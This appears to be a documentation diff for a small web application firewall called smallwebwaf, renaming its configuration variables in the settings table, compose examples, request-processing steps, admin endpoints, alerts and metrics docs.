| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
||||
| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
||||
| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||
| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||
| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
||||
| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||
| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||
| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||
| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
||||
| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||
| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
||||
| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||
| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||
| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
||||
| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
||||
| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
||||
| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
||||
| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
||||
| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
||||
| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||
| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). |
|
||||
| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||
| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. |
|
||||
| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||
| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||
| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||
| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||
| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||
| `SWW_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
|
||||
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||
| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||
| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||
| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||
| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||
| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||
| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||
| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||
| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||
| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
|
||||
| `SWW_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
||||
| `SWW_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||
| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||
| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||
| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||
| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||
| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||
| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||
| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||
| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
||||
| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
||||
| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||
| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||
| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||
| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
|
||||
| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
|
||||
| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||
| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||
| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
|
||||
| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
|
||||
| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||
| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||
| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||
| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||
| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
|
||||
| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
|
||||
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||
| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
|
||||
| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
|
||||
| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||
| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||
| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||
| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
|
||||
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
|
||||
|
||||
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
||||
full, and the limits that are fixed rather than settings.
|
||||
@@ -366,8 +363,8 @@ services:
|
||||
rproxy:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
||||
SWW_RPROXY_UPSTREAM_URL: http://app:8081
|
||||
SWRP_WAF_BACKEND: http://waf:8080
|
||||
SWRP_UPSTREAM_URL: http://app:8081
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
@@ -402,8 +399,8 @@ services:
|
||||
rproxy:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
||||
SWW_RPROXY_UPSTREAM_URL: http://app:8081
|
||||
SWRP_WAF_BACKEND: http://waf:8080
|
||||
SWRP_UPSTREAM_URL: http://app:8081
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
@@ -412,22 +409,22 @@ services:
|
||||
environment:
|
||||
SWW_COMMAND: waf
|
||||
# Monitoring skips every check.
|
||||
SWW_WAF_ALLOW_NETS: 192.0.2.10
|
||||
SWW_ALLOW_NETS: 192.0.2.10
|
||||
# The office and the automation host are never rate limited.
|
||||
SWW_WAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
||||
SWW_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
||||
# A netblock that sends nothing wanted.
|
||||
SWW_WAF_DENY_NETS: 198.51.100.128/25
|
||||
SWW_DENY_NETS: 198.51.100.128/25
|
||||
# Tighter limits for everyone else: a small static site.
|
||||
SWW_WAF_RATE_LIMIT_PER_MINUTE: "60"
|
||||
SWW_WAF_RATE_LIMIT_PER_HOUR: "600"
|
||||
SWW_WAF_RATE_LIMIT_PER_DAY: "3000"
|
||||
SWW_RATE_LIMIT_PER_MINUTE: "60"
|
||||
SWW_RATE_LIMIT_PER_HOUR: "600"
|
||||
SWW_RATE_LIMIT_PER_DAY: "3000"
|
||||
# Hosting networks and one country get a share of those limits.
|
||||
SWW_WAF_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
|
||||
SWW_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
|
||||
# Paths only scanners ask for; one request bans the client.
|
||||
SWW_WAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
||||
SWW_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
||||
# Answer a refused client with 429 rather than 403.
|
||||
SWW_WAF_BAN_RESPONSE: "429"
|
||||
SWW_WAF_LIMIT_BAN_DURATION: 30m
|
||||
SWW_BAN_RESPONSE: "429"
|
||||
SWW_LIMIT_BAN_DURATION: 30m
|
||||
volumes:
|
||||
- waf-state:/var/lib/sww
|
||||
|
||||
@@ -453,9 +450,9 @@ services:
|
||||
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
||||
build: ./app
|
||||
environment:
|
||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
||||
SWRP_WAF_BACKEND: http://waf:8080
|
||||
# Answer 503 rather than pass a request on while waf is down.
|
||||
SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION: deny
|
||||
SWRP_DEFAULT_DISPOSITION: deny
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
@@ -463,16 +460,16 @@ services:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWW_COMMAND: waf
|
||||
SWW_WAF_INSTANCE_NAME: fsn1/waf
|
||||
SWW_INSTANCE_NAME: fsn1/waf
|
||||
# Refuse nothing yet; log what enforce mode would have done.
|
||||
SWW_WAF_MODE: observe
|
||||
SWW_MODE: observe
|
||||
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
||||
SWW_WAF_LOOKUP_SOURCE: file
|
||||
SWW_WAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
|
||||
SWW_LOOKUP_SOURCE: file
|
||||
SWW_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
|
||||
# Alerts to an ntfy topic, with its token read from a file.
|
||||
SWW_WAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
|
||||
SWW_WAF_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
||||
SWW_WAF_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
||||
SWW_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
|
||||
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
||||
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
||||
volumes:
|
||||
- waf-state:/var/lib/sww
|
||||
- /srv/ipinfo:/var/lib/ipinfo:ro
|
||||
@@ -509,19 +506,19 @@ request reaches the app.
|
||||
|
||||
1. The health check, `GET /_sww/healthz`, is answered at once.
|
||||
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
||||
from `SWW_RPROXY_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the
|
||||
visitor sent it, with the first 64 KiB of its body.
|
||||
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the visitor
|
||||
sent it, with the first 64 KiB of its body.
|
||||
|
||||
`waf` takes the checks:
|
||||
|
||||
3. The header limits, then the tag lists. A client in `SWW_WAF_ALLOW_NETS` skips
|
||||
the header limits.
|
||||
4. The static lists, `SWW_WAF_ALLOW_NETS` and `SWW_WAF_DENY_NETS`.
|
||||
3. The header limits, then the tag lists. A client in `SWW_ALLOW_NETS` skips the
|
||||
header limits.
|
||||
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
||||
5. The bans.
|
||||
6. The lookup of the client's AS number and country.
|
||||
7. The country list.
|
||||
8. The reputation sources.
|
||||
9. The tag refusals of `SWW_WAF_TAG_DENY`.
|
||||
9. The tag refusals of `SWW_TAG_DENY`.
|
||||
10. The client's limit percentage, from its tags, its AS number, its country or
|
||||
a reputation hit.
|
||||
11. The rate limits.
|
||||
@@ -537,23 +534,23 @@ request reaches the app.
|
||||
17. The request is passed to the app, streaming.
|
||||
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
||||
bytes each way. For an allowed request, `waf` counts the bytes
|
||||
`SWW_WAF_BYTES_COUNTED` names toward the byte limits, bans the client if
|
||||
they take it past one, and adds the request to the client's history.
|
||||
`SWW_BYTES_COUNT` names toward the byte limits, bans the client if they take
|
||||
it past one, and adds the request to the client's history.
|
||||
|
||||
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
|
||||
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
|
||||
false positives; such refusals count toward `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`
|
||||
instead. A request over the header limits of step 3 is answered `431`, and bans
|
||||
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
|
||||
and the status for a size or time limit, such as `413` for a body too large.
|
||||
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
||||
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
||||
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
||||
request over the header limits of step 3 is answered `431`, and bans nobody
|
||||
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
||||
status for a size or time limit, such as `413` for a body too large.
|
||||
|
||||
### Clients and bans
|
||||
|
||||
- A client is one IPv4 address or one IPv6 netblock of
|
||||
`SWW_WAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64.
|
||||
- A client is one IPv4 address or one IPv6 netblock of `SWW_IPV6_GROUP_PREFIX`,
|
||||
since one abuser usually controls a whole /64.
|
||||
- Each limit is counted over a sliding window with a few integers per client.
|
||||
The table of clients and the table of bans each have a bound
|
||||
(`SWW_WAF_MAX_TRACKED_CLIENTS`, `SWW_WAF_MAX_BANS`), so memory is bounded too.
|
||||
(`SWW_MAX_TRACKED_CLIENTS`, `SWW_MAX_BANS`), so memory is bounded too.
|
||||
- A ban refuses every request from its netblock until it ends. Requests refused
|
||||
under a ban count toward no limit. A permanent ban ends only when an admin
|
||||
lifts it.
|
||||
@@ -568,30 +565,30 @@ Each request gets tags from what `waf` knows of its client, written in the
|
||||
`tags` field of its log line:
|
||||
|
||||
- `asn=<number>` and `country=<code>`, from the lookup;
|
||||
- one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as
|
||||
`torexit` or `vpn=mullvad`;
|
||||
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
|
||||
or `vpn=mullvad`;
|
||||
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
|
||||
the client;
|
||||
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
|
||||
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
|
||||
`SWW_WAF_ROUTEWATCH_URL` is set.
|
||||
`SWW_ROUTEWATCH_URL` is set.
|
||||
|
||||
`SWW_WAF_TAG_DENY` refuses requests by tag, and `SWW_WAF_TAG_LIMIT_PERCENT`
|
||||
lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
`SWW_TAG_DENY` refuses requests by tag, and `SWW_TAG_LIMIT_PERCENT` lowers a
|
||||
client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
|
||||
### Attack detection
|
||||
|
||||
- The Core Rule Set reads the method, the URL with its query string, and the
|
||||
headers of every request, and no body unless
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. In front of a code forge,
|
||||
bodies carry what people write and publish, which the rules take for attacks.
|
||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||
front of a code forge, bodies carry what people write and publish, which the
|
||||
rules take for attacks.
|
||||
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
|
||||
requests to a code forge through, such as git over HTTP and sign-in through
|
||||
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
||||
[`SPEC.md`](SPEC.md) lists them.
|
||||
- Each supported app also has its own fixes, which let its ordinary requests
|
||||
through. Its recorded ordinary requests pass the Core Rule Set at the default
|
||||
settings. The supported apps, by their names in `SWW_WAF_APPS`, are:
|
||||
settings. The supported apps, by their names in `SWW_APPS`, are:
|
||||
- `gitea`, whose fixes let its container registry, searches, file names,
|
||||
branch names and repository names through;
|
||||
- `forgejo`, a fork of gitea, which gets gitea's fixes too, and whose own
|
||||
@@ -619,11 +616,11 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
- deleting the account, on gitea;
|
||||
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
||||
password, not the password itself.
|
||||
- `SWW_WAF_APPS` names the apps each hostname serves. A hostname gets only its
|
||||
own apps' fixes. A hostname `SWW_WAF_APPS` does not list gets none. Unset,
|
||||
every app's fixes apply to every hostname.
|
||||
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's
|
||||
own fields or paths.
|
||||
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
|
||||
apps' fixes. A hostname `SWW_APPS` does not list gets none. Unset, every app's
|
||||
fixes apply to every hostname.
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||
fields or paths.
|
||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||
while `waf` runs. The image ships one file of probes no real visitor sends
|
||||
(see [`docs/rules.md`](docs/rules.md)).
|
||||
@@ -632,12 +629,12 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
|
||||
`waf` keeps everything in memory, and JSON files hold a copy:
|
||||
|
||||
- The state files, in `SWW_WAF_STATE_DIR`, hold what cannot be fetched again:
|
||||
- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
|
||||
- `bans.json`;
|
||||
- `clients.json`;
|
||||
- `abuseipdb-checks-spent.json`;
|
||||
- `alerts.json`.
|
||||
- The cache files, in `SWW_WAF_CACHE_DIR`, hold answers from outside services:
|
||||
- The cache files, in `SWW_CACHE_DIR`, hold answers from outside services:
|
||||
- `lookups.json`, from GeoJS;
|
||||
- `lists.json`, the lists fetched by URL;
|
||||
- `dnsbl.json`, from the DNS blocklists;
|
||||
|
||||
@@ -5,16 +5,16 @@ answers them at its own address, on the private network. "Admin endpoints" in
|
||||
[`SPEC.md`](../SPEC.md) says how their tokens work.
|
||||
|
||||
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
||||
- `GET /_sww/metrics`: the metrics, for `SWW_WAF_METRICS_TOKEN` (see
|
||||
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
|
||||
[`metrics.md`](metrics.md)).
|
||||
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
|
||||
Needs `SWW_WAF_ADMIN_TOKEN`, as do the three below.
|
||||
Needs `SWW_ADMIN_TOKEN`, as do the three below.
|
||||
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
|
||||
`duration` and, if you like, `reason`. `netblock` is a netblock such as
|
||||
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
|
||||
(`SWW_WAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration
|
||||
such as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying
|
||||
what is wrong:
|
||||
(`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
|
||||
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
|
||||
wrong:
|
||||
- one that is not such an object, or has another field;
|
||||
- one longer than 4 KiB;
|
||||
- one that names an IPv4-mapped netblock, or an address with a zone.
|
||||
@@ -38,7 +38,7 @@ answered `404`, so that the app never sees that prefix (see "`rproxy`" in
|
||||
|
||||
## Examples
|
||||
|
||||
With `SWW_WAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
|
||||
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
|
||||
`waf:8080` on its network:
|
||||
|
||||
```sh
|
||||
|
||||
+4
-4
@@ -78,8 +78,8 @@ on one line:
|
||||
}
|
||||
```
|
||||
|
||||
- `instance`: `SWW_WAF_INSTANCE_NAME`. `time`: when the alert was raised.
|
||||
`event`: one of the events above.
|
||||
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
||||
one of the events above.
|
||||
- `host`: the site of the request that raised the alert, since one `waf` serves
|
||||
many sites. It is left out of `source_failure`, `file_error` and `summary`.
|
||||
- `client`: the address whose request raised the alert. Empty for
|
||||
@@ -122,8 +122,8 @@ Slack gets the title in bold and the text below it, with `&`, `<` and `>`
|
||||
escaped. ntfy gets the text as the message, with these headers:
|
||||
|
||||
- `Title`: the title;
|
||||
- `Authorization`: the token, as `Bearer <token>`, while
|
||||
`SWW_WAF_ALERT_NTFY_TOKEN` is set;
|
||||
- `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
|
||||
is set;
|
||||
- `Priority` and `Tags`: by event, as listed below.
|
||||
|
||||
The priority and tag by event:
|
||||
|
||||
+1
-1
@@ -20,7 +20,7 @@ way.
|
||||
`share/sww.run`.
|
||||
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
|
||||
default rule file `share/rules.d/00-default.rules`. The `run` script makes
|
||||
`SWW_WAF_STATE_DIR` when it is missing.
|
||||
`SWW_STATE_DIR` when it is missing.
|
||||
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
||||
|
||||
## Pins
|
||||
|
||||
+2
-3
@@ -6,7 +6,7 @@ the `instance` label as `exported_instance` unless the scrape sets
|
||||
`honor_labels: true`. `rproxy` has no metrics.
|
||||
|
||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
|
||||
body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
|
||||
|
||||
## Traffic
|
||||
|
||||
